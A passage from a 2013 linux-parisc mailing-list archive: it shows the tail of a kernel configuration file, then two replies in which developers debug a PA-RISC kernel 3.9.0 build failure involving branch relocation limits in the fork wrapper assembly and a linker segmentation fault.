# CONFIG_USB_IOWARRIOR is not set
# CONFIG_USB_TEST is not set
# CONFIG_USB_ISIGHTFW is not set
# CONFIG_USB_YUREX is not set
# CONFIG_USB_EZUSB_FX2 is not set
# CONFIG_USB_HSIC_USB3503 is not set

#
# USB Physical Layer drivers
#
# CONFIG_OMAP_USB3 is not set
# CONFIG_OMAP_CONTROL_USB is not set
# CONFIG_USB_ISP1301 is not set
# CONFIG_USB_RCAR_PHY is not set
# CONFIG_USB_GADGET is not set

#
# OTG and related infrastructure
#
# CONFIG_NOP_USB_XCEIV is not set
# CONFIG_UWB is not set
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
# CONFIG_NEW_LEDS is not set
# CONFIG_ACCESSIBILITY is not set
# CONFIG_INFINIBAND is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_SYSTOHC=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
# CONFIG_RTC_DRV_TEST is not set

#
# I2C RTC drivers
#
# CONFIG_RTC_DRV_DS1307 is not set
# CONFIG_RTC_DRV_DS1374 is not set
# CONFIG_RTC_DRV_DS1672 is not set
# CONFIG_RTC_DRV_DS3232 is not set
# CONFIG_RTC_DRV_MAX6900 is not set
# CONFIG_RTC_DRV_RS5C372 is not set
# CONFIG_RTC_DRV_ISL1208 is not set
# CONFIG_RTC_DRV_ISL12022 is not set
# CONFIG_RTC_DRV_X1205 is not set
# CONFIG_RTC_DRV_PCF8523 is not set
# CONFIG_RTC_DRV_PCF8563 is not set
# CONFIG_RTC_DRV_PCF8583 is not set
# CONFIG_RTC_DRV_M41T80 is not set
# CONFIG_RTC_DRV_BQ32K is not set
# CONFIG_RTC_DRV_S35390A is not set
# CONFIG_RTC_DRV_FM3130 is not set
# CONFIG_RTC_DRV_RX8581 is not set
# CONFIG_RTC_DRV_RX8025 is not set
# CONFIG_RTC_DRV_EM3027 is not set
# CONFIG_RTC_DRV_RV3029C2 is not set

#
# SPI RTC drivers
#

#
# Platform RTC drivers
#
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_MSM6242 is not set
# CONFIG_RTC_DRV_BQ4802 is not set
# CONFIG_RTC_DRV_RP5C01 is not set
# CONFIG_RTC_DRV_V3020 is not set
# CONFIG_RTC_DRV_DS2404 is not set

#
# on-CPU RTC drivers
#
CONFIG_RTC_DRV_GENERIC=y

#
# HID Sensor RTC drivers
#
# CONFIG_RTC_DRV_HID_SENSOR_TIME is not set
# CONFIG_DMADEVICES is not set
# CONFIG_AUXDISPLAY is not set
# CONFIG_UIO is not set

#
# Virtio drivers
#
# CONFIG_VIRTIO_PCI is not set
# CONFIG_VIRTIO_MMIO is not set

#
# Microsoft Hyper-V guest support
#
# CONFIG_STAGING is not set

#
# Hardware Spinlock drivers
#
# CONFIG_MAILBOX is not set
# CONFIG_IOMMU_SUPPORT is not set

#
# Remoteproc drivers
#
# CONFIG_STE_MODEM_RPROC is not set

#
# Rpmsg drivers
#
# CONFIG_VIRT_DRIVERS is not set
# CONFIG_PM_DEVFREQ is not set
# CONFIG_EXTCON is not set
# CONFIG_MEMORY is not set
# CONFIG_IIO is not set
# CONFIG_VME_BUS is not set
# CONFIG_PWM is not set
# CONFIG_IPACK_BUS is not set

#
# File systems
#
CONFIG_EXT2_FS=y
# CONFIG_EXT2_FS_XATTR is not set
# CONFIG_EXT2_FS_XIP is not set
CONFIG_EXT3_FS=y
# CONFIG_EXT3_DEFAULTS_TO_ORDERED is not set
# CONFIG_EXT3_FS_XATTR is not set
CONFIG_EXT4_FS=y
# CONFIG_EXT4_FS_POSIX_ACL is not set
# CONFIG_EXT4_FS_SECURITY is not set
# CONFIG_EXT4_DEBUG is not set
CONFIG_JBD=y
CONFIG_JBD2=y
CONFIG_FS_MBCACHE=y
# CONFIG_REISERFS_FS is not set
# CONFIG_JFS_FS is not set
# CONFIG_XFS_FS is not set
# CONFIG_GFS2_FS is not set
# CONFIG_BTRFS_FS is not set
# CONFIG_NILFS2_FS is not set
# CONFIG_FS_POSIX_ACL is not set
CONFIG_EXPORTFS=y
CONFIG_FILE_LOCKING=y
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY_USER=y
# CONFIG_FANOTIFY is not set
# CONFIG_QUOTA is not set
# CONFIG_QUOTACTL is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_FUSE_FS is not set

#
# Caches
#
# CONFIG_FSCACHE is not set

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
# CONFIG_UDF_FS is not set

#
# DOS/FAT/NT Filesystems
#
CONFIG_FAT_FS=m
# CONFIG_MSDOS_FS is not set
CONFIG_VFAT_FS=m
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
# CONFIG_TMPFS_POSIX_ACL is not set
# CONFIG_TMPFS_XATTR is not set
# CONFIG_HUGETLB_PAGE is not set
# CONFIG_CONFIGFS_FS is not set
CONFIG_MISC_FILESYSTEMS=y
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_ECRYPT_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_HFSPLUS_FS is not set
# CONFIG_BEFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_LOGFS is not set
# CONFIG_CRAMFS is not set
# CONFIG_SQUASHFS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_OMFS_FS is not set
# CONFIG_HPFS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_QNX6FS_FS is not set
# CONFIG_ROMFS_FS is not set
# CONFIG_PSTORE is not set
# CONFIG_SYSV_FS is not set
# CONFIG_UFS_FS is not set
# CONFIG_F2FS_FS is not set
CONFIG_NETWORK_FILESYSTEMS=y
# CONFIG_NFS_FS is not set
# CONFIG_NFSD is not set
# CONFIG_CEPH_FS is not set
# CONFIG_CIFS is not set
# CONFIG_NCP_FS is not set
# CONFIG_CODA_FS is not set
# CONFIG_AFS_FS is not set
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="UTF-8"
CONFIG_NLS_CODEPAGE_437=m
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
CONFIG_NLS_CODEPAGE_850=m
# CONFIG_NLS_CODEPAGE_852 is not set
# CONFIG_NLS_CODEPAGE_855 is not set
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
# CONFIG_NLS_CODEPAGE_866 is not set
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
# CONFIG_NLS_CODEPAGE_1250 is not set
# CONFIG_NLS_CODEPAGE_1251 is not set
CONFIG_NLS_ASCII=m
CONFIG_NLS_ISO8859_1=m
# CONFIG_NLS_ISO8859_2 is not set
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
# CONFIG_NLS_ISO8859_5 is not set
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
CONFIG_NLS_ISO8859_15=m
# CONFIG_NLS_KOI8_R is not set
# CONFIG_NLS_KOI8_U is not set
# CONFIG_NLS_MAC_ROMAN is not set
# CONFIG_NLS_MAC_CELTIC is not set
# CONFIG_NLS_MAC_CENTEURO is not set
# CONFIG_NLS_MAC_CROATIAN is not set
# CONFIG_NLS_MAC_CYRILLIC is not set
# CONFIG_NLS_MAC_GAELIC is not set
# CONFIG_NLS_MAC_GREEK is not set
# CONFIG_NLS_MAC_ICELAND is not set
# CONFIG_NLS_MAC_INUIT is not set
# CONFIG_NLS_MAC_ROMANIAN is not set
# CONFIG_NLS_MAC_TURKISH is not set
CONFIG_NLS_UTF8=m

#
# Kernel hacking
#
CONFIG_PRINTK_TIME=y
CONFIG_DEFAULT_MESSAGE_LOGLEVEL=4
# CONFIG_ENABLE_WARN_DEPRECATED is not set
# CONFIG_ENABLE_MUST_CHECK is not set
CONFIG_FRAME_WARN=1024
CONFIG_MAGIC_SYSRQ=y
# CONFIG_STRIP_ASM_SYMS is not set
# CONFIG_UNUSED_SYMBOLS is not set
# CONFIG_DEBUG_FS is not set
# CONFIG_HEADERS_CHECK is not set
# CONFIG_DEBUG_SECTION_MISMATCH is not set
# CONFIG_DEBUG_KERNEL is not set
# CONFIG_PANIC_ON_OOPS is not set
CONFIG_PANIC_ON_OOPS_VALUE=0
CONFIG_DEBUG_BUGVERBOSE=y
CONFIG_DEBUG_MEMORY_INIT=y
CONFIG_ARCH_WANT_FRAME_POINTERS=y
CONFIG_FRAME_POINTER=y

#
# RCU Debugging
#
# CONFIG_SPARSE_RCU_POINTER is not set
CONFIG_RCU_CPU_STALL_TIMEOUT=60
CONFIG_HAVE_FUNCTION_TRACER=y
CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y
CONFIG_HAVE_FUNCTION_TRACE_MCOUNT_TEST=y
# CONFIG_ATOMIC64_SELFTEST is not set
# CONFIG_SAMPLES is not set
# CONFIG_TEST_KSTRTOX is not set

#
# Security options
#
CONFIG_KEYS=y
# CONFIG_ENCRYPTED_KEYS is not set
# CONFIG_KEYS_DEBUG_PROC_KEYS is not set
# CONFIG_SECURITY_DMESG_RESTRICT is not set
# CONFIG_SECURITY is not set
# CONFIG_SECURITYFS is not set
CONFIG_DEFAULT_SECURITY_DAC=y
CONFIG_DEFAULT_SECURITY=""
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD=m
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_BLKCIPHER=y
CONFIG_CRYPTO_BLKCIPHER2=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_PCOMP2=y
CONFIG_CRYPTO_MANAGER=m
CONFIG_CRYPTO_MANAGER2=y
# CONFIG_CRYPTO_USER is not set
CONFIG_CRYPTO_MANAGER_DISABLE_TESTS=y
# CONFIG_CRYPTO_GF128MUL is not set
# CONFIG_CRYPTO_NULL is not set
# CONFIG_CRYPTO_PCRYPT is not set
CONFIG_CRYPTO_WORKQUEUE=y
# CONFIG_CRYPTO_CRYPTD is not set
CONFIG_CRYPTO_AUTHENC=m
# CONFIG_CRYPTO_TEST is not set

#
# Authenticated Encryption with Associated Data
#
# CONFIG_CRYPTO_CCM is not set
# CONFIG_CRYPTO_GCM is not set
# CONFIG_CRYPTO_SEQIV is not set

#
# Block modes
#
CONFIG_CRYPTO_CBC=m
# CONFIG_CRYPTO_CTR is not set
# CONFIG_CRYPTO_CTS is not set
CONFIG_CRYPTO_ECB=m
# CONFIG_CRYPTO_LRW is not set
# CONFIG_CRYPTO_PCBC is not set
# CONFIG_CRYPTO_XTS is not set

#
# Hash modes
#
CONFIG_CRYPTO_HMAC=m
# CONFIG_CRYPTO_XCBC is not set
# CONFIG_CRYPTO_VMAC is not set

#
# Digest
#
CONFIG_CRYPTO_CRC32C=y
# CONFIG_CRYPTO_CRC32 is not set
# CONFIG_CRYPTO_GHASH is not set
# CONFIG_CRYPTO_MD4 is not set
CONFIG_CRYPTO_MD5=m
# CONFIG_CRYPTO_MICHAEL_MIC is not set
# CONFIG_CRYPTO_RMD128 is not set
# CONFIG_CRYPTO_RMD160 is not set
# CONFIG_CRYPTO_RMD256 is not set
# CONFIG_CRYPTO_RMD320 is not set
CONFIG_CRYPTO_SHA1=m
# CONFIG_CRYPTO_SHA256 is not set
# CONFIG_CRYPTO_SHA512 is not set
# CONFIG_CRYPTO_TGR192 is not set
# CONFIG_CRYPTO_WP512 is not set

#
# Ciphers
#
CONFIG_CRYPTO_AES=y
# CONFIG_CRYPTO_ANUBIS is not set
CONFIG_CRYPTO_ARC4=m
# CONFIG_CRYPTO_BLOWFISH is not set
# CONFIG_CRYPTO_CAMELLIA is not set
# CONFIG_CRYPTO_CAST5 is not set
# CONFIG_CRYPTO_CAST6 is not set
CONFIG_CRYPTO_DES=m
# CONFIG_CRYPTO_FCRYPT is not set
# CONFIG_CRYPTO_KHAZAD is not set
# CONFIG_CRYPTO_SALSA20 is not set
# CONFIG_CRYPTO_SEED is not set
# CONFIG_CRYPTO_SERPENT is not set
# CONFIG_CRYPTO_TEA is not set
# CONFIG_CRYPTO_TWOFISH is not set

#
# Compression
#
CONFIG_CRYPTO_DEFLATE=m
# CONFIG_CRYPTO_ZLIB is not set
# CONFIG_CRYPTO_LZO is not set

#
# Random Number Generation
#
# CONFIG_CRYPTO_ANSI_CPRNG is not set
CONFIG_CRYPTO_USER_API=y
CONFIG_CRYPTO_USER_API_HASH=y
CONFIG_CRYPTO_USER_API_SKCIPHER=y
# CONFIG_CRYPTO_HW is not set
# CONFIG_ASYMMETRIC_KEY_TYPE is not set
# CONFIG_BINARY_PRINTF is not set

#
# Library routines
#
CONFIG_BITREVERSE=y
CONFIG_GENERIC_STRNCPY_FROM_USER=y
CONFIG_GENERIC_PCI_IOMAP=y
CONFIG_GENERIC_IO=y
CONFIG_CRC_CCITT=m
CONFIG_CRC16=y
# CONFIG_CRC_T10DIF is not set
# CONFIG_CRC_ITU_T is not set
CONFIG_CRC32=y
# CONFIG_CRC32_SELFTEST is not set
CONFIG_CRC32_SLICEBY8=y
# CONFIG_CRC32_SLICEBY4 is not set
# CONFIG_CRC32_SARWATE is not set
# CONFIG_CRC32_BIT is not set
# CONFIG_CRC7 is not set
# CONFIG_LIBCRC32C is not set
# CONFIG_CRC8 is not set
CONFIG_ZLIB_INFLATE=y
CONFIG_ZLIB_DEFLATE=m
CONFIG_LZO_DECOMPRESS=y
CONFIG_XZ_DEC=y
CONFIG_XZ_DEC_X86=y
CONFIG_XZ_DEC_POWERPC=y
CONFIG_XZ_DEC_IA64=y
CONFIG_XZ_DEC_ARM=y
CONFIG_XZ_DEC_ARMTHUMB=y
CONFIG_XZ_DEC_SPARC=y
CONFIG_XZ_DEC_BCJ=y
# CONFIG_XZ_DEC_TEST is not set
CONFIG_DECOMPRESS_GZIP=y
CONFIG_DECOMPRESS_BZIP2=y
CONFIG_DECOMPRESS_LZMA=y
CONFIG_DECOMPRESS_XZ=y
CONFIG_DECOMPRESS_LZO=y
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y
CONFIG_CPU_RMAP=y
CONFIG_DQL=y
CONFIG_NLATTR=y
# CONFIG_AVERAGE is not set
# CONFIG_CORDIC is not set
# CONFIG_DDR is not set

--nextPart3483958.orSjGFe6ez--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Error compiling 3.9.0
Date: Tue, 30 Apr 2013 10:45:54 -0400
Lines: 115
Approved: news@gmane.org
Message-ID: <517FD922.6060408@bell.net>
References: <1742161.3f9jxWykf1@devpool02> <BLU0-SMTP783053E3D7F49E33ED18CB97B30@phx.gbl> <e5606dd2f0529641a897f078e3814e82@sf-mail.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1367333166 7172 80.91.229.3 (30 Apr 2013 14:46:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Apr 2013 14:46:06 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 30 16:46:05 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UXBoh-0002Y3-Ta
	for glpp-linux-parisc@plane.gmane.org; Tue, 30 Apr 2013 16:46:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760728Ab3D3OqD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 30 Apr 2013 10:46:03 -0400
Original-Received: from mail17.primus.ca ([216.254.141.184]:32785 "EHLO
	mail-07.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1758065Ab3D3OqC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 30 Apr 2013 10:46:02 -0400
Original-Received: from 209-197-168-34.cpe.distributel.net ([209.197.168.34] helo=[192.168.0.181])
	by mail-07.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1UXBoe-0006Gx-11; Tue, 30 Apr 2013 10:46:00 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130328 Thunderbird/17.0.5
In-Reply-To: <e5606dd2f0529641a897f078e3814e82@sf-mail.de>
X-Authenticated: danglin-lux@magma.ca - 209-197-168-34.cpe.distributel.net ([192.168.0.181]) [209.197.168.34]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4975
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4975>

On 4/30/2013 10:02 AM, Rolf Eike Beer wrote:
> Am 30.04.2013 15:00, schrieb John David Anglin:
>> On 30-Apr-13, at 5:37 AM, Rolf Eike Beer wrote:
>>
>>> Compiling for my C8000 (64 bit) failed:
>>>
>>> *arch/parisc/kernel/built-in.o: In function `sys_fork_wrapper':
>>> *(.text+0x4dc8): relocation truncated to fit: R_PARISC_PCREL17F  
>>> against symbol
>>> `sys_fork' defined in .text.sys_fork section in kernel/built-in.o
>>> *hppa64-unknown-linux-gnu-ld: arch/parisc/kernel/built-in.o(.text 
>>> +0xllx):
>>> cannot reach (null)
>>> *arch/parisc/kernel/built-in.o: In function `sys_vfork_wrapper':
>>> *(.text+0x4e1c): relocation truncated to fit: R_PARISC_PCREL17F  
>>> against symbol
>>> `sys_vfork' defined in .text.sys_vfork section in kernel/built-in.o
>>> *make: *** [vmlinux] Error 1
>>
>> Some form of a 17-bit branch has been used (e.g., b), to branch to
>> sys_fork.  Assume
>> you are building without modules, so you have a big kernel.
>
> I have modules, but I had seen an error before so I tried enabling 
> longcalls. Currently building without MLONGCALLS with new binutils to 
> see if it works then, i.e. the error below goes away.
Longcalls will not fix the above.  The option doesn't affect assembly code.

A "b" instruction is not a "call".  By that, I mean that the linker 
doesn't add long call stubs, etc.  It only
supports a 17-bit pc-relative offset.  The prelinking done by linux can 
result in objects that are too big
and out of range branches as above.
>
>> Problem seems to be here:
>>
>>         .macro  fork_like name
>> ENTRY(sys_\name\()_wrapper)
>>         LDREG   TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30), %r1
>>         ldo     TASK_REGS(%r1),%r1
>>         reg_save %r1
>>         mfctl   %cr27, %r28
>>         b       sys_\name
>>         STREG   %r28, PT_CR27(%r1)
>> ENDPROC(sys_\name\()_wrapper)
>>         .endm
>>
>> If %r2 can be clobbered, the "b" instruction could be changed to the
>> "BL" macro.
>> This would give 22-bit branch on PA 2.0.  For example,
>>
>> BL    sys_\name, %r2
Does this work?  I think %r2 should be available but I can't check at 
the moment.
>>
>>>
>>> This is after I enabled MLONGCALLS, witho
>>> ut longcalls it failed, too. I'm now
>>> trying with binutils 2.23.1 instead of 2.22.
>>
>> The above is not a binutils bug!
>
> Nope, but probably this:
>
> *hppa64-unknown-linux-gnu-ld: scripts/link-vmlinux.sh: line 52: 5398 
> Segmentation fault      ${LD} ${LDFLAGS} ${LDFLAGS_vmlinux} -o ${2} -T 
> ${lds} ${KBUILD_VMLINUX_INIT} --start-group ${KBUILD_VMLINUX_MAIN} 
> --end-group ${1}
No, it's probably a kernel bug.  Is the crash consistent?  If it isn't, 
then it's an OS or kernel bug.

I've built thousands of Debian packages.  All the ld and as segmentation 
faults that I have seen go away
if I rerun the command.
>
>>> My C3600 (32 bit) doesn't even come that far, I get:
>>>
>>> make: hppa-linux-gnu-gcc: Command not found
>>> make: hppa-linux-gnu-gcc: Command not found
>>> /usr/src/linux-3.9.0/scripts/gcc-version.sh: line 25: 
>>> hppa-linux-gnu- gcc:
>>> command not found
>>> /usr/src/linux-3.9.0/scripts/gcc-version.sh: line 26: 
>>> hppa-linux-gnu- gcc:
>>> command not found
>>> Sorry, GCC v3.3 or above is required to build the kernel.
>>> make: *** [checkbin] Error 1
>>
>>
>> I don't think anyone changed this code from previous versions. I seem 
>> to have
>> hppa-linux-gnu-gcc on my system.  At some point, the alternatives  
>> might have
>> been called hppa-linux-*.
>
> It's called hppa2.0-* for me. The interesting thing is: cd to the 
> linux-3.7.1 source and "make something" works fine, so it's indeed 
> something in the kernel.
>
> Eike
>
> P.S.: did you intentionally removed the list from CC? Feel free to add 
> it back if it was by accident.
No, I hit the wrong button.  Added it back.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Error compiling 3.9.0
Date: Tue, 30 Apr 2013 18:40:17 +0200
Lines: 107
Approved: news@gmane.org
Message-ID: <1428267.TfdjUgcdcj@eto>
References: <1742161.3f9jxWykf1@devpool02> <e5606dd2f0529641a897f078e3814e82@sf-mail.de> <517FD922.6060408@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart1526605.uEMsf57ztV"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1367340027 21598 80.91.229.3 (30 Apr 2013 16:40:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Apr 2013 16:40:27 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 30 18:40:26 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UXDbM-0000GC-Fw
	for glpp-linux-parisc@plane.gmane.org; Tue, 30 Apr 2013 18:40:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932420Ab3D3QkX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 30 Apr 2013 12:40:23 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:46574 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932376Ab3D3QkW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 30 Apr 2013 12:40:22 -0400
Original-Received: (qmail 17871 invoked from network); 30 Apr 2013 16:40:19 -0000
Original-Received: from dslb-178-003-064-175.pools.arcor-ip.net ([::ffff:178.3.64.175]:57107 HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Tue, 30 Apr 2013 18:40:19 +0200
User-Agent: KMail/4.10.2 (Linux/3.8.8-3-desktop; KDE/4.10.2; x86_64; ; )
In-Reply-To: <517FD922.6060408@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4976
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4976>


--nextPart1526605.uEMsf57ztV
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Dienstag 30 April 2013, 10:45:54 schrieb John David Anglin:
> On 4/30/2013 10:02 AM, Rolf Eike Beer wrote:
> > Am 30.04.2013 15:00, schrieb John David Anglin:
> >> On 30-Apr-13, at 5:37 AM, Rolf Eike Beer wrote:
> >>> Compiling for my C8000 (64 bit) failed:
> >>> 
> >>> *arch/parisc/kernel/built-in.o: In function `sys_fork_wrapper':
> >>> *(.text+0x4dc8): relocation truncated to fit: R_PARISC_PCREL17F
> >>> against symbol
> >>> `sys_fork' defined in .text.sys_fork section in kernel/built-in.o
> >>> *hppa64-unknown-linux-gnu-ld: arch/parisc/kernel/built-in.o(.text
> >>> +0xllx):
> >>> cannot reach (null)
> >>> *arch/parisc/kernel/built-in.o: In function `sys_vfork_wrapper':
> >>> *(.text+0x4e1c): relocation truncated to fit: R_PARISC_PCREL17F
> >>> against symbol
> >>> `sys_vfork' defined in .text.sys_vfork section in kernel/built-in.o
> >>> *make: *** [vmlinux] Error 1
> >> 
> >> Some form of a 17-bit branch has been used (e.g., b), to branch to
> >> sys_fork.  Assume
> >> you are building without modules, so you have a big kernel.
> > 
> > I have modules, but I had seen an error before so I tried enabling
> > longcalls. Currently building without MLONGCALLS with new binutils to
> > see if it works then, i.e. the error below goes away.
> 
> Longcalls will not fix the above.  The option doesn't affect assembly code.
> 
> A "b" instruction is not a "call".  By that, I mean that the linker
> doesn't add long call stubs, etc.  It only
> supports a 17-bit pc-relative offset.  The prelinking done by linux can
> result in objects that are too big
> and out of range branches as above.
> 
> >> Problem seems to be here:
> >>         .macro  fork_like name
> >> 
> >> ENTRY(sys_\name\()_wrapper)
> >> 
> >>         LDREG   TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30), %r1
> >>         ldo     TASK_REGS(%r1),%r1
> >>         reg_save %r1
> >>         mfctl   %cr27, %r28
> >>         b       sys_\name
> >>         STREG   %r28, PT_CR27(%r1)
> >> 
> >> ENDPROC(sys_\name\()_wrapper)
> >> 
> >>         .endm
> >> 
> >> If %r2 can be clobbered, the "b" instruction could be changed to the
> >> "BL" macro.
> >> This would give 22-bit branch on PA 2.0.  For example,
> >> 
> >> BL    sys_\name, %r2
> 
> Does this work?  I think %r2 should be available but I can't check at
> the moment.

Have not tried yet.

> >>> This is after I enabled MLONGCALLS, witho
> >>> ut longcalls it failed, too. I'm now
> >>> trying with binutils 2.23.1 instead of 2.22.
> >> 
> >> The above is not a binutils bug!
> > 
> > Nope, but probably this:
> > 
> > *hppa64-unknown-linux-gnu-ld: scripts/link-vmlinux.sh: line 52: 5398
> > Segmentation fault      ${LD} ${LDFLAGS} ${LDFLAGS_vmlinux} -o ${2} -T
> > ${lds} ${KBUILD_VMLINUX_INIT} --start-group ${KBUILD_VMLINUX_MAIN}
> > --end-group ${1}
> 
> No, it's probably a kernel bug.  Is the crash consistent?  If it isn't,
> then it's an OS or kernel bug.

I have got the same crash again. This are the first 2 tries I ever made with 
binutils 2.23.1 for 64 bit binaries, so I have nothing to compare to.

Eike
--nextPart1526605.uEMsf57ztV
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.19 (GNU/Linux)

